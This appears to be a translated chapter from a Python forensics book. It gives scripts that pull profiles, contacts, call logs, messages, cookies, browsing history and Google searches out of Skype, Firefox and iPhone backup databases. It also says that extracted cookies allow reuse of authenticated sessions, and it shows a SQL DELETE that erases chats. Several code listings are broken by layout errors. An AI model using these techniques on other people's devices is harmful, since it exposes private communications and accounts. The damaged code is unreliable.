Подытожим: мы получили довольно мощный скрипт для проверки базы данных профилей Skype. Наш скрипт может выдать нам информацию профиля, адреса контактов, журнал звонков и даже сообщения, хранящиеся в базе данных. Мы можем добавить какой-нибудь вариант парсинга в функцию **main** и использовать некоторые функции из библиотеки **os**, чтобы перед выполнением каждой из этих функций исследования базы данных убедиться, что файл профиля существует.

```

import sqlite3
import optparse
import os

def printProfile(skypeDB):
    conn = sqlite3.connect(skypeDB)
    c = conn.cursor()
    c.execute("SELECT fullname, skypeusername, city, country, \
        datetime(profile_timestamp,'unixepoch') FROM Accounts;")
    for row in c:
        print '[*] -- Found Account --'
        print '[+] User           : '+str(row[0])
        print '[+] Skype Username  : '+str(row[1])
        print '[+] Location       : '+str(row[2])+', '+str(row[3])
        print '[+] Profile Date    : '+str(row[4])

def printContacts(skypeDB):
    conn = sqlite3.connect(skypeDB)
    c = conn.cursor()
    c.execute("SELECT displayname, skypeusername, city, country, \
        phone_mobile, birthday FROM Contacts;")
    for row in c:
        print '\n[*] -- Found Contact --'
        print '[+] User           : ' +str(row[0])
        print '[+] Skype Username : ' +str(row[1])
        if str(row[2]) != '' and str(row[2]) != 'None':
            print '[+] Location       : ' +str(row[2]) + ', ' \
                +str(row[3])
        if str(row[4]) != 'None':
            print '[+] Mobile Number : ' +str(row[4])
        if str(row[5]) != 'None':
            print '[+] Birthday      : ' +str(row[5])

def printCallLog(skypeDB):
    conn = sqlite3.connect(skypeDB)
    c = conn.cursor()
    c.execute("SELECT datetime(begin_timestamp,'unixepoch'), \

```



```

        identity FROM calls, conversations WHERE \
        calls.conv_dbid = conversations.id;"
    )
print '\n[*] -- Found Calls --'
for row in c:
    print '[+] Time: '+str(row[0])+\'
    ' | Partner: '+str(row[1])
def printMessages(skypeDB):
    conn = sqlite3.connect(skypeDB)
    c = conn.cursor()
    c.execute("SELECT datetime(timestamp,'unixepoch'), \
        dialog_partner, author, body_xml FROM Messages;")
    print '\n[*] -- Found Messages --'
    for row in c:
        try:
            if 'partlist' not in str(row[3]):
                if str(row[1]) != str(row[2]):
                    msgDirection = 'To ' + str(row[1]) + ': '
                else:
                    msgDirection = 'From ' + str(row[2]) + ': '
                print 'Time: ' + str(row[0]) + ' ' \
                    + msgDirection + str(row[3])
        except:
            pass
def main():
    parser = optparse.OptionParser("usage%prog "+\
        "-p <skype profile path> ")
    parser.add_option('-p', dest='pathName', type='string',\
        help='specify skype profile path')
    (options, args) = parser.parse_args()
    pathName = options.pathName
    if pathName == None:
        print parser.usage
        exit(0)
    elif os.path.isdir(pathName) == False:
        print '[!] Path Does Not Exist: ' + pathName
        exit(0)
    else:
        skypeDB = os.path.join(pathName, 'main.db')
        if os.path.isfile(skypeDB):
            printProfile(skypeDB)
            printContacts(skypeDB)
            printCallLog(skypeDB)
            printMessages(skypeDB)
        else:
            print '[!] Skype Database '+\
                'does not exist: ' + skypeDB
if __name__ == '__main__':

```

```
main()
```

Запуская скрипт, мы добавляем местоположение пути профиля Skype с параметром **-p**. Скрипт выводит профиль учётной записи, контакты, звонки и сообщения, хранящиеся внутри цели. Успех! В следующем разделе мы будем использовать наши знания **sqlite3** для изучения артефактов, хранящихся в популярном браузере Firefox.

```
investigator$ python skype-parse.py -p /root/.Skype/not.myaccount
[*] -- Found Account --
[+] User : TJ OConnor
[+] Skype Username : <accountname>
[+] Location : New York, US
[+] Profile Date : 2010-01-17 16:28:18
[*] -- Found Contact --
[+] User : Some User
[+] Skype Username : some.user
[+] Location : Basking Ridge, NJ,us
[+] Mobile Number : +19085555555
[+] Birthday : 19750101
[*] -- Found Calls --
[+] Time: 2011-12-04 15:45:20 | Partner: +18005233273
[+] Time: 2011-12-04 15:48:23 | Partner: +18005210810
```

## ПОЛЕЗНАЯ ИНФОРМАЦИЯ

### Другие полезные запросы в Skype...

Если эта информация вас заинтересовала, уделите время дальнейшему изучению базы данных Skype и созданию новых скриптов. Рассмотрите другие запросы, которые могут оказаться полезными, например:

Вывод контактов только с указанным днём рождения: **SELECT fullname, birthday FROM contacts WHERE birthday > 0**

Вывод беседы с конкретным <SKYPE-PARTNER>: **SELECT datetime(timestamp,'unixepoch'), dialog\_partner, author, body\_xml FROM Messages WHERE dialog\_partner = '<SKYPE-PARTNER>'**

Удаление беседы с конкретным <SKYPE-PARTNER>: **DELETE FROM messages WHERE skype\_name = '<SKYPE-PARTNER>'**

```
[+] Time: 2011-12-04 15:48:39 | Partner: +18004284322
[*] -- Found Messages --
Time: 2011-12-02 00:13:45 From some.user: Have you made plane reservations yet?
Time: 2011-12-02 00:14:00 To some.user: Working on it...
Time: 2011-12-19 16:39:44 To some.user: Continental does not have any flights available tonight.
```

Time: 2012-01-10 18:01:39 From some.user: Try United or US Airways, they should fly into Jersey.

## Разбор баз данных Sqlite3 в Firefox с помощью Python

В последнем разделе мы рассмотрели лишь одну базу данных приложения, хранящуюся в приложении Skype. Эта база данных выдала множество довольно интересных данных для расследования. В этом разделе мы посмотрим, что хранится в ряде баз данных приложения Firefox. Firefox хранит эти базы данных в каталоге по умолчанию, расположенном в C:\Documents and Settings\<USER>\Application Data\Mozilla\Firefox\Profiles\<profile folder>\ в Windows, и /Users/<USER>/Library/Application Support/Firefox/Profiles/<profile folder> в MAC OS X. Давайте перечислим базы данных SQLite, хранящиеся в каталоге.

```
investigator$ ls *.sqlite
places.sqlite           downloads.sqlite search.sqlite
addons.sqlite           extensions.sqlite signons.sqlite
chromeappsstore.sqlite  formhistory.sqlite webappsstore.sqlite
content-prefs.sqlite    permissions.sqlite
cookies.sqlite          places.sqlite
```

При изучении списка каталогов становится очевидно, что Firefox хранит довольно много данных. Но с чего нам начать свою работу? Давайте начнём с базы данных *downloads.sqlite*. Файл **downloads.sqlite** хранит информацию о файлах, загруженных пользователем Firefox. В нём содержится единственная таблица с именем *moz\_downloads*, в которой хранится информация об имени файла, источнике загрузки, дате загрузки, размере файла, реферере и локально сохранённом местоположении файла. Мы используем скрипт языка Python, чтобы выполнить оператор SQLite **SELECT** для соответствующих столбцов: **name**, **source** и **datetime**. Обратите внимание, что Firefox делает нечто интересное с Unix-форматом времени, о котором мы узнали чуть ранее. Чтобы сохранить Unix-время в базе данных, Firefox умножает количество секунд, прошедших с 1 января 1970 года, на 1000000. Таким образом, чтобы правильно отформатировать наше время, нам нужно всего лишь разделить на 1 миллион.

```
import sqlite3
def printDownloads(downloadDB):
    conn = sqlite3.connect(downloadDB)
    c = conn.cursor()
    c.execute('SELECT name, source, datetime(endTime/1000000,\
\'unixepoch\') FROM moz_downloads;')
    )
    print '\n[*] --- Files Downloaded --- '
    for row in c:
        print '[+] File: ' + str(row[0]) + ' from source: ' \
            + str(row[1]) + ' at: ' + str(row[2])
if __name__ == "__main__":
```

```
main()
```

Запустив скрипт для файла *downloads.sqlite*, мы видим, что в этом профиле содержится информация о файле, который мы ранее скачали. Мы уже загрузили этот файл в одном из предыдущих разделов, чтобы узнать больше о метаданных.

```
investigator$ python firefoxDownloads.py
[*] --- Files Downloaded ---
[+] File: ANONOPS_The_Press_Release.pdf from source:
http://www.wired.com/images_blogs/threatlevel/2010/12/ANONOPS_The_Press_Release.pdf at:
2011-12-14 05:54:31
```

Превосходно! Теперь мы знаем, когда пользователь загружал определённые файлы с помощью Firefox. Однако что делать, если следователю понадобится вернуться на сайты, которые используют аутентификацию? Например, если следователь определил, что пользователь загружал изображения с преступными действиями в отношении детей с веб-сайта электронной почты? Полицейский следователь хотел бы (на законных основаниях) попасть в электронную почту, но, скорее всего, ему недостаёт пароля или способа аутентификации в электронной почте пользователя. Значит, нам нужны cookies. Поскольку в протоколе HTTP отсутствует способ сохранения состояния, исходные веб-сайты используют файлы cookie для подобных действий.

## РАБОТА С ОШИБКОЙ ЗАШИФРОВАННОЙ БАЗЫ ДАННЫХ

### Обновление Sqlite3

Вы можете заметить, что если попытаетесь открыть базу данных cookies.sqlite с установкой Sqlite3 по умолчанию из Backtrack 5 R2, то она сообщит, что файл зашифрован или не является базой данных. Установка Sqlite3 по умолчанию – это Sqlite3.6.22, которая не поддерживает режим журнала WAL. Последние версии Firefox используют **PRAGMA journal\_mode=WAL** в своих базах cookies.sqlite и place.sqlite. Попытка открыть файл с более старой версией Sqlite3 или более старых библиотек Sqlite3 языка Python вызовет сообщение об ошибке.

```
investigator:#!/ sqlite3.6 !/./mozilla/firefox/nq474mcm.default/cookies.sqlite
```

```
SQLite version 3.6.22
```

```
Введите ".help" для получения инструкций
```

```
Введите операторы SQL, оканчивающиеся на «;»
```

```
sqlite> select * from moz_cookies;
```

```
Ошибка: файл зашифрован или не является базой данных
```

```
После обновления двоичного файла Sqlite3 и библиотек Python-Sqlite3 до версии> 3.7 вы сможете открывать более новые базы данных Firefox.
```

```
investigator:#!/ sqlite3.7 !/./mozilla/firefox/nq474mcm.default/cookies.sqlite
```

```
SQLite version 3.7.13 2012-06-11 02:05:22
```

```
Введите ".help" для получения инструкций
Введите операторы SQL, оканчивающиеся на «;»
sqlite> select * from moz_cookies;
1|backtrack-linux.org|_<..ПРОПУЩЕНО..>
4|sourceforge.net|sf_mirror_attempt|<..ПРОПУЩЕНО..>
```

Чтобы избежать сбоя скрипта при этой необработанной ошибке, в базах `cookie.sqlite` и `place.sqlite` мы добавили исключения, чтобы перехватить сообщение об ошибке зашифрованной базы данных. Чтобы избежать получения этого сообщения об ошибке, обновите библиотеку Python-Sqlite3 или используйте более старые базы данных Firefox `cookies.sqlite` и `place.sqlite`, включённые в сопутствующий веб-сайт.

Рассмотрим пример, когда пользователь входит в электронную почту: если бы браузер не мог поддерживать файлы cookie, пользователю необходимо было бы входить в систему каждый раз заново, чтобы прочитать каждое отдельное письмо. Firefox хранит эти cookies в базе данных `cookies.sqlite`. Если следователь может извлечь файлы cookie и использовать их повторно, это даёт возможность войти в ресурсы, требующие проверки подлинности.

Давайте напишем краткий скрипт для извлечения файлов cookie из устройства пользователя, находящегося «под следствием». Мы подключаемся к базе данных и выполняем оператор **SELECT**. Данные о файлах cookies в базе данных хранятся в `moz_cookies`. Из таблицы `moz_cookies` в базе данных `cookies.sqlite` мы будем запрашивать значения столбцов для `host`, `name` и `cookie`, и выводить их на экран.

```
def printCookies(cookiesDB):
    try:
        conn = sqlite3.connect(cookiesDB)
        c = conn.cursor()
        c.execute('SELECT host, name, value FROM moz_cookies')
        print '\n[*] -- Found Cookies --'
        for row in c:
            host = str(row[0])
            name = str(row[1])
            value = str(row[2])
            print '[+] Host: ' + host + ', Cookie: ' + name \
                + ', Value: ' + value
    except Exception, e:
        if 'encrypted' in str(e):
            print '\n[*] Error reading your cookies database.'
            print '[*] Upgrade your Python-Sqlite3 Library'
```

Следователь может также захотеть получить данные об истории браузера. Firefox хранит эти данные в базе данных под именем `place.sqlite`. Здесь таблица `moz_places` даёт нам ценные столбцы, которые включают информацию о том, когда (дата) и где (адрес) пользователь

заходил на сайт. Хотя наш скрипт для `printHistory()` учитывает только таблицу `moz_places`, веб-сайт ForensicWiki рекомендует использовать данные как из таблицы `moz_places`, так и из таблицы `moz_historyvisits`, а также получать свежую историю браузера (Forensics Wiki, 2011).

```
def printHistory(placesDB):
    try:
        conn = sqlite3.connect(placesDB)
        c = conn.cursor()
        c.execute("select url, datetime(visit_date/1000000, \
            'unixepoch') from moz_places, moz_historyvisits \
            where visit_count > 0 and moz_places.id==\
            moz_historyvisits.place_id;")
        print '\n[*] -- Found History --'
        for row in c:
            url = str(row[0])
            date = str(row[1])
            print '[+] ' + date + ' - Visited: ' + url
    except Exception, e:
        if 'encrypted' in str(e):
            print '\n[*] Error reading your places database.'
            print '[*] Upgrade your Python-Sqlite3 Library'
            exit(0)
```

Давайте воспользуемся последним примером и нашими знаниями регулярных выражений, чтобы расширить предыдущую функцию. История браузера бесценна, и было бы полезно более подробно изучить некоторые из посещённых URL-адресов. Например, поисковые запросы Google содержат поисковые термины прямо внутри URL. В разделе беспроводной связи мы подробно остановимся на этом. Однако прямо сейчас давайте просто извлечём поисковые термины прямо из URL. Если мы обнаружим в нашей истории URL, содержащий *Google*, мы будем искать в нём символы `q=`, за которыми следует `&`. Эта конкретная последовательность символов указывает на поиск Google. Если мы найдём этот термин, мы очистим вывод, заменив некоторые символы, используемые в URL-адресах для заполнения пробелов, реальными пробелами. Наконец, мы распечатаем исправленный вывод на экране. Теперь у нас есть функция, которая может выполнять поиск в файле `place.sqlite` и распечатывать поисковые запросы Google.

```
import sqlite3, re
def printGoogle(placesDB):
    conn = sqlite3.connect(placesDB)
    c = conn.cursor()
    c.execute("select url, datetime(visit_date/1000000, \
        'unixepoch') from moz_places, moz_historyvisits \
        where visit_count > 0 and moz_places.id==\
        moz_historyvisits.place_id;")
```

```

print '\n[*] -- Found Google --'
for row in c:
    url = str(row[0])
    date = str(row[1])
    if 'google' in url.lower():
        r = re.findall(r'q=.*\&', url)
        if r:
            search=r[0].split('&')[0]
            search=search.replace('q=', '').replace('+', ' ')
            print '[+] '+date+' - Searched For: ' + search

```

Подводя итоги – что же у нас есть? У нас теперь имеются функции для вывода истории загруженных файлов, файлов cookie, истории профиля и даже полная история поиска пользователя. Опция синтаксического анализа должна быть похожа на наш скрипт для исследования базы данных профилей Skype из предыдущего раздела.

Вы можете обратить внимание на использование функции **os.path.join** при создании полного пути к файлу и спросить, почему мы не добавляем просто строковые значения для пути и файла вместе. Что мешает нам использовать такой пример, как

```
downloadDB = pathName + "\\downloads.sqlite"
```

вместо

```
downloadDB = os.path.join(pathName, "downloads.sqlite")?
```

Тут следует учесть следующее: Windows использует файл пути C:\Users\<user\_name>\, тогда как Linux и Mac OS используют значение пути, аналогичное /home/<user\_name>/. Слэши, обозначающие каталоги, идут в разных направлениях под каждой операционной системой, и мы должны были бы учитывать это при создании полного пути к нашему имени файла. Библиотека **os** позволяет нам создавать независимый от операционной системы скрипт, который будет работать в Windows, Linux и Mac OS.

Если оставить этот момент в стороне, у нас есть полностью рабочий скрипт, чтобы провести исследования Firefox-профиля. Чтобы попрактиковаться, попробуйте добавить дополнительные функции в этот скрипт и изменить его для ваших нужд.

```

import re
import optparse
import os
import sqlite3
def printDownloads(downloadDB):
    conn = sqlite3.connect(downloadDB)
    c = conn.cursor()
    c.execute('SELECT name, source, datetime(endTime/1000000,\
\'unixepoch\') FROM moz_downloads;')
    )

```

```

print '\n[*] --- Files Downloaded --- '
for row in c:
    print '[+] File: ' + str(row[0]) + ' from source: ' \
        + str(row[1]) + ' at: ' + str(row[2])
def printCookies(cookiesDB):
    try:
        conn = sqlite3.connect(cookiesDB)
        c = conn.cursor()
        c.execute('SELECT host, name, value FROM moz_cookies')
        print '\n[*] -- Found Cookies --'
        for row in c:
            host = str(row[0])
            name = str(row[1])
            value = str(row[2])
            print '[+] Host: ' + host + ', Cookie: ' + name \
                + ', Value: ' + value
    except Exception, e:
        if 'encrypted' in str(e):
            print '\n[*] Error reading your cookies database.'
            print '[*] Upgrade your Python-Sqlite3 Library'
def printHistory(placesDB):
    try:
        conn = sqlite3.connect(placesDB)
        c = conn.cursor()
        c.execute("select url, datetime(visit_date/1000000, \
            'unixepoch') from moz_places, moz_historyvisits \
            where visit_count > 0 and moz_places.id==\
            moz_historyvisits.place_id;")
        print '\n[*] -- Found History --'
        for row in c:
            url = str(row[0])
            date = str(row[1])
            print '[+] ' + date + ' - Visited: ' + url
    except Exception, e:
        if 'encrypted' in str(e):
            print '\n[*] Error reading your places database.'
            print '[*] Upgrade your Python-Sqlite3 Library'
            exit(0)
def printGoogle(placesDB):
    conn = sqlite3.connect(placesDB)
    c = conn.cursor()
    c.execute("select url, datetime(visit_date/1000000, \
        'unixepoch') from moz_places, moz_historyvisits \
        where visit_count > 0 and moz_places.id==\
        moz_historyvisits.place_id;")
    print '\n[*] -- Found Google --'
    for row in c:
        url = str(row[0])
        date = str(row[1])

```



```

    if 'google' in url.lower():
        r = re.findall(r'q=.*\&', url)
        if r:
            search=r[0].split('&')[0]
            search=search.replace('q=', '').replace('+', ' ')
            print '[+] '+date+' - Searched For: ' + search
def main():
    parser = optparse.OptionParser("usage%prog "+\
        "-p <firefox profile path> ")
    parser.add_option('-p', dest='pathName', type='string',\
        help='specify skype profile path')
    (options, args) = parser.parse_args()
    pathName = options.pathName
    if pathName == None:
        print parser.usage
        exit(0)
    elif os.path.isdir(pathName) == False:
        print '[!] Path Does Not Exist: ' + pathName
        exit(0)
    else:
        downloadDB = os.path.join(pathName, 'downloads.sqlite')
        if os.path.isfile(downloadDB):
            printDownloads(downloadDB)
        else:
            print '[!] Downloads Db does not exist: '+downloadDB
        cookiesDB = os.path.join(pathName, 'cookies.sqlite')
        if os.path.isfile(cookiesDB):
            printCookies(cookiesDB)
        else:
            print '[!] Cookies Db does not exist:' + cookiesDB
        placesDB = os.path.join(pathName, 'places.sqlite')
        if os.path.isfile(placesDB):
            printHistory(placesDB)
            printGoogle(placesDB)
        else:
            print '[!] PlacesDb does not exist: ' + placesDB
if __name__ == '__main__':
    main()

```

Запустив наш скрипт для «подследственного» профиля пользователя Firefox, мы видим следующие результаты. Далее мы будем использовать навыки, приобретённые в двух предыдущих разделах, но мы расширим наши знания в области SQLite путём поиска иголки в стоге сена, состоящем из баз данных.

```

investigator$ python parse-firefox.py -p !/Library/Application\
Support/Firefox/Profiles/5ab3jj51.default/
[*] --- Files Downloaded ---

```

```
[+] File: ANONOPS_The_Press_Release.pdf from source:
http://www.wired.com/images_blogs/threatlevel/2010/12/ANONOPS_The_Press_Release.pdf at:
2011-12-14 05:54:31
[*] -- Found Cookies --
[+] Host: .mozilla.org, Cookie: wtspl, Value: 894880
[+] Host: www.webassessor.com, Cookie: __utma, Value:
1.224660440401.13211820353.1352185053.131218016553.1
[*] -- Found History --
[+] 2011-11-20 16:28:15 - Visited: http://www.mozilla.com/en-US/firefox/8.0/firstrun/
[+] 2011-11-20 16:28:16 - Visited: http://www.mozilla.org/en-US/firefox/8.0/firstrun/
[*] -- Found Google --
[+] 2011-12-14 05:33:57 - Searched For: The meaning of life?
[+] 2011-12-14 05:52:40 - Searched For: Pterodactyl
[+] 2011-12-14 05:59:50 - Searched For: How did Lost end?
```

## Исследование мобильных резервных копий iTunes с помощью Python

В апреле 2011 года исследователь безопасности и бывший сотрудник Apple Пит Уорден раскрыл проблему конфиденциальности в популярной операционной системе Apple iPhone/iPad iOS (Warden, 2011). После серьёзного расследования г-н Уорден обнаружил доказательства того, что операционная система Apple iOS фактически отслеживала и записывала GPS-координаты устройства и сохраняла их в базе данных на телефоне, названной *consolidated.db* (Warden, 2011). Внутри этой базы данных в таблице Cell-Location содержались GPS-точки, собранные телефоном. Устройство определяло информацию о местоположении путём триангуляции от ближайших вышек сотовой связи, чтобы обеспечить лучший сервис для пользователя устройства. Однако, как предположил г-н Уорден, эти же данные могли быть использованы злонамеренно для отслеживания всех перемещений пользователя iPhone/iPad. Кроме того, процесс, используемый для резервного копирования и сохранения копии мобильного устройства на компьютере, также записывал эту информацию. Хотя информация о местоположении была удалена из функциональности операционной системы Apple iOS, процесс, который г-н Уорден использовал для обнаружения данных, до сих пор остаётся в системе. В этом разделе мы повторим этот ряд действий для извлечения информации из резервных копий мобильных устройств iOS. В частности, мы извлечём все текстовые сообщения из резервной копии iOS с помощью скрипта Python.

Когда пользователь выполняет резервное копирование своего устройства iPhone или iPad, оно сохраняет файлы в специальном каталоге на компьютере пользователя. В операционной системе Windows приложение iTunes сохраняет этот каталог резервного копирования

мобильного устройства в каталоге профиля пользователя по адресу C:\Documents and Settings\<USERNAME>\Application Data\AppleComputer\MobileSync\Backup. В Mac OS X этот каталог существует по адресу /Users/<USERNAME>/Library/Application Support/MobileSync/Backup/. Приложение iTunes, которое выполняет резервное копирование мобильных устройств, сохраняет все резервные копии устройств в этих каталогах. Давайте рассмотрим недавнюю резервную копию моего Apple iPhone.

Исследуя каталог, в котором хранится наша резервная копия мобильного каталога, мы видим, что он содержит более 1000 файлов с беспорядочными именами. Каждый файл содержит уникальную последовательность из 40 символов, которая не даёт абсолютно никакого описания материала, хранящегося в конкретном файле.

```
investigator$ ls
68b16471ed678a3a470949963678d47b7a415be3
68c96ac7d7f02c20e30ba2acc8d91c42f7d2f77f
68b16471ed678a3a470949963678d47b7a415be3
68d321993fe03f7fe6754f5f4ba15a9893fe38db
69005cb27b4af77b149382d1669ee34b30780c99
693a31889800047f02c64b0a744e68d2a2cff267
6957b494a71f191934601d08ea579b889f417af9
698b7961028238a63d02592940088f232d23267e
6a2330120539895328d6e84d5575cf44a082c62d
<..ПРОПУЩЕНО..>
```

Чтобы получить немного больше информации о каждом файле, мы будем использовать UNIX-команду **file** для извлечения файлового типа каждого файла. Эта команда использует первые идентифицирующие байты заголовка и нижнего колонтитула файла для определения типа файла. Это даёт нам немного больше информации, так как мы видим, что каталог мобильного резервного копирования содержит несколько баз данных sqlite3, изображения JPEG, необработанные данные и текстовые файлы ASCII.

```
investigator$ file *
68b16471ed678a3a470949963678d47b7a415be3: data
68c96ac7d7f02c20e30ba2acc8d91c42f7d2f77f: SQLite 3.x database
68b16471ed678a3a470949963678d47b7a415be3: JPEG image data
68d321993fe03f7fe6754f5f4ba15a9893fe38db: JPEG image data
69005cb27b4af77b149382d1669ee34b30780c99: JPEG image data
693a31889800047f02c64b0a744e68d2a2cff267: SQLite 3.x database
6957b494a71f191934601d08ea579b889f417af9: SQLite 3.x database
698b7961028238a63d02592940088f232d23267e: JPEG image data
6a2330120539895328d6e84d5575cf44a082c62d: ASCII English text
<..ПРОПУЩЕНО..>
```

Хотя команда **file** и сообщает нам, что некоторые из файлов содержат базы данных SQLite, она очень скудно описывает содержимое каждой базы данных. Мы будем использовать

скрипт Python для быстрого перечисления всех таблиц в каждой базе данных, найденных во всём каталоге мобильного резервного копирования. Обратите внимание, что мы снова будем использовать привязки Python sqlite3 в данном примере скрипта. Наш скрипт перечислит содержимое рабочего каталога, а затем попытается установить соединение с базой данных для каждого файла. Для тех, кому удаётся установить соединение, скрипт выполняет команду

```
SELECT tbl_name FROM sqlite_master WHERE type='table'
```

Каждая база данных SQLite поддерживает таблицу с именем **sqlite\_master**, которая содержит общую структуру базы данных, показывая общую схему базы данных. Предыдущая команда позволяет нам перечислить схему базы данных.

```
import os, sqlite3
def printTables(iphoneDB):
    try:
        conn = sqlite3.connect(iphoneDB)
        c = conn.cursor()
        c.execute('SELECT tbl_name FROM sqlite_master \
            WHERE type="table";')
        print "\n[*] Database: "+iphoneDB
        for row in c:
            print "[-] Table: "+str(row)
    except:
        pass
    conn.close()
dirList = os.listdir(os.getcwd())
for fileName in dirList:
    printTables(fileName)
```

Запустив скрипт, мы выведем схему всех баз данных в нашем каталоге мобильных резервных копий. Несмотря на то, что скрипт находит несколько баз данных, мы сократим полученный вывод, чтобы отобразить конкретную базу данных, интересующую нас. Обратите внимание, что файл **d0d7e5fb2ce288813306e4d4636395e047a3d28** содержит базу данных SQLite с таблицей под именем *messages*. Эта база данных содержит список текстовых сообщений, хранящихся в резервной копии iPhone.

```
investigator$ python listTables.py
<.. ПРОПУЩЕНО...>
[*] Database: 3939d33868ebfe3743089954bf0e7f3a3a1604fd
[-] Table: (u'ItemTable',)
[*] Database: d0d7e5fb2ce288813306e4d4636395e047a3d28
[-] Table: (u'_SqliteDatabaseProperties',)
[-] Table: (u'message',)
[-] Table: (u'sqlite_sequence',)
[-] Table: (u'msg_group',)
```

```
[-] Table: (u'group_member',)
[-] Table: (u'msg_pieces',)
[-] Table: (u'madrid_attachment',)
[-] Table: (u'madrid_chat',)
[*] Database: 3de971e20008baa84ec3b2e70fc171ca24eb4f58
[-] Table: (u'ZFILE',)
[-] Table: (u'Z_1LABELS',)
<..ПРОПУЩЕНО..>
```

Хотя теперь мы знаем, что файл **d0d7e5fb2ce288813306e4d4636395e047a3d28** содержит базу данных текстовых сообщений, нам нужно иметь возможность автоматизировать расследование по различным резервным копиям. Чтобы это выполнить, мы пишем простую функцию с именем **isMessageTable()**. Эта функция подключится к базе данных и перечислит информационную схему базы данных. Если файл содержит таблицу под именем **messages**, функция возвращает **True**. Если нет – то возвращает **False**. Теперь у нас есть возможность быстро сканировать каталог из тысяч файлов и определить, какой конкретный файл содержит базу данных SQLite, в которой содержатся текстовые сообщения.

```
def isMessageTable(iphoneDB):
    try:
        conn = sqlite3.connect(iphoneDB)
        c = conn.cursor()
        c.execute('SELECT tbl_name FROM sqlite_master \
            WHERE type="table";')
        for row in c:
            if 'message' in str(row):
                return True
    except:
        return False
```

Теперь, когда мы можем обнаружить базу данных текстовых сообщений, нам нужно иметь возможность вывести данные, содержащиеся в базе данных, а именно – **date**, **address** и **text messages**. Для этого мы подключимся к базе данных и выполним команду

```
'select datetime(date,'unixepoch'), address, text from message WHERE address>0;'
```

Затем мы сможем вывести результаты этого запроса на экран. Обратите внимание – мы будем использовать обработку исключений. В случае, если **isMessageTable()** вернёт базу данных, которая НЕ является нашей фактической базой данных текстовых сообщений, в ней не будет необходимых столбцов: **data**, **address** и **text**. Если мы ошибочно получили неправильную базу данных, мы позволим скрипту выполнить исключение и продолжим выполнение, пока не будет найдена правильная база данных.

```
def printMessage(msgDB):
    try:
```

```

conn = sqlite3.connect(msgDB)
c = conn.cursor()
c.execute('select datetime(date,\'unixepoch\'),\
    address, text from message WHERE address>0;')
for row in c:
    date = str(row[0])
    addr = str(row[1])
    text = row[2]
    print '\n[+] Date: '+date+', Addr: '+addr \
        + ' Message: ' + text
except:
    pass

```

Объединяя функции **isMessageTable()** и **printMessage()** вместе, мы теперь можем создать финальный скрипт. Добавим в сценарий некоторые параметры синтаксического анализа, чтобы включить в качестве параметра парсинг каталога резервного копирования iPhone. Затем перечислим содержимое этого каталога и протестируем каждый файл, пока не найдём базу данных текстовых сообщений. Найдя этот файл, мы можем распечатать содержимое базы данных на экране.

```

import os
import sqlite3
import optparse
def isMessageTable(iphoneDB):
    try:
        conn = sqlite3.connect(iphoneDB)
        c = conn.cursor()
        c.execute('SELECT tbl_name FROM sqlite_master \
            WHERE type=="table";')
        for row in c:
            if 'message' in str(row):
                return True
    except:
        return False
def printMessage(msgDB):
    try:
        conn = sqlite3.connect(msgDB)
        c = conn.cursor()
        c.execute('select datetime(date,\'unixepoch\'),\
            address, text from message WHERE address>0;')
        for row in c:
            date = str(row[0])
            addr = str(row[1])
            text = row[2]
            print '\n[+] Date: '+date+', Addr: '+addr \

```

```

        + ' Message: ' + text
    except:
        pass
def main():
    parser = optparse.OptionParser("usage%prog "+\
        "-p <iPhone Backup Directory> ")
    parser.add_option('-p', dest='pathName',\
        type='string',help='specify skype profile path')
    (options, args) = parser.parse_args()
    pathName = options.pathName
    if pathName == None:
        print parser.usage
        exit(0)
    else:
        dirList = os.listdir(pathName)
        for fileName in dirList:
            iphoneDB = os.path.join(pathName, fileName)
            if isMessageTable(iphoneDB):
                try:
                    print '\n[*] --- Found Messages ---'
                    printMessage(iphoneDB)
                except:
                    pass
if __name__ == '__main__':
    main()

```

Запустив скрипт для папки резервного копирования iPhone, мы можем видеть результаты поиска некоторых недавних текстовых сообщений, сохранённых в резервной копии iPhone.

```

investigator$ python iphoneMessages.py -p !/Library/Application\
Support/MobileSync/Backup/192fd8d130aa644ealc644aedbe23708221146a8/
[*] --- Found Messages ---
[+] Date: 2011-12-25 03:03:56, Addr: 55555554333 Message: Happy holidays, brother.
[+] Date: 2011-12-27 00:03:55, Addr: 55555553274 Message: You didnt respond to my message,
are you still working on the book?
[+] Date: 2011-12-27 00:47:59, Addr: 55555553947 Message: Quick question, should I delete
mobile device backups on iTunes?
<..ПРОПУЩЕНО..>

```

## Итоги главы

И мы вас снова поздравляем! В этой главе мы описали довольно много инструментов для исследования цифровых артефактов. Изучив как реестр Windows, корзину, артефакты, оставленные внутри метаданных, так и базы данных, хранящиеся в приложениях, мы добавили в наш арсенал немало полезного. Надеемся, что примеры, приведённые в этой

главе, хорошо помогут вам в поиске ответов на вопросы в ваших собственных будущих исследованиях!

### Ссылки

- Bright, P. (2011). Microsoft locks down Wi-Fi geolocation service after privacy concerns. *Ars Technica*. Retrieved from <http://arstechnica.com/microsoft/news/2011/08/microsoft-locks-downwi-fi-location-service-after-privacy-concerns.ars>, August 2.
- Geolocation API. (2009). *Google Code*. Retrieved from <code.google.com/apis/gears/api\_geolocation.html>, May 29.
- kosi2801. (2009). *Messing with the Skype 4.0 database*. BPI Inside. Retrieved from [http://kosi2801.freepgs.com/2009/12/03/messing\\_with\\_the\\_skype\\_40\\_database.html](http://kosi2801.freepgs.com/2009/12/03/messing_with_the_skype_40_database.html), December 3.
- Leyden, J. (2010). Greek police cuff Anonymous spokesman suspect. *The Register*. Retrieved from [www.theregister.co.uk/2010/12/16/anonymous\\_arrests/](http://www.theregister.co.uk/2010/12/16/anonymous_arrests/), December 16.
- Mozilla Firefox 3 History File Format. (2011). *Forensics Wiki*. Retrieved from [www.forensicswiki.org/wiki/Mozilla\\_Firefox\\_3\\_History\\_File\\_Format](http://www.forensicswiki.org/wiki/Mozilla_Firefox_3_History_File_Format), September 13.
- Petrovski, G. (2011). mac-geolocation.nse. seclists.org. Retrieved from <seclists.org/nmapdev/2011/q2/att-735/mac-geolocation.nse>.
- “Prefect”. (2010). Anonymous releases very unanonymouse press release. *Praetorian prefect*. Retrieved from <praetorianprefect.com/archives/2010/12/anonymous-releases-very-unanonymousepress-release/>, December 10.
- Regan, B. (2006). Computer forensics: The new fingerprinting. *Popular mechanics*. Retrieved from <http://www.popularmechanics.com/technology/how-to/computer-security/2672751>, April 21.
- Shapiro, A. (2007). Police use DNA to track suspects through family. National Public Radio (NPR). Retrieved from <http://www.npr.org/templates/story/story.php?storyId=17130501>, December 27.
- Warden, P. (2011). iPhoneTracker. GitHub. Retrieved from <petewarden.github.com/iPhone-Tracker/>, March.
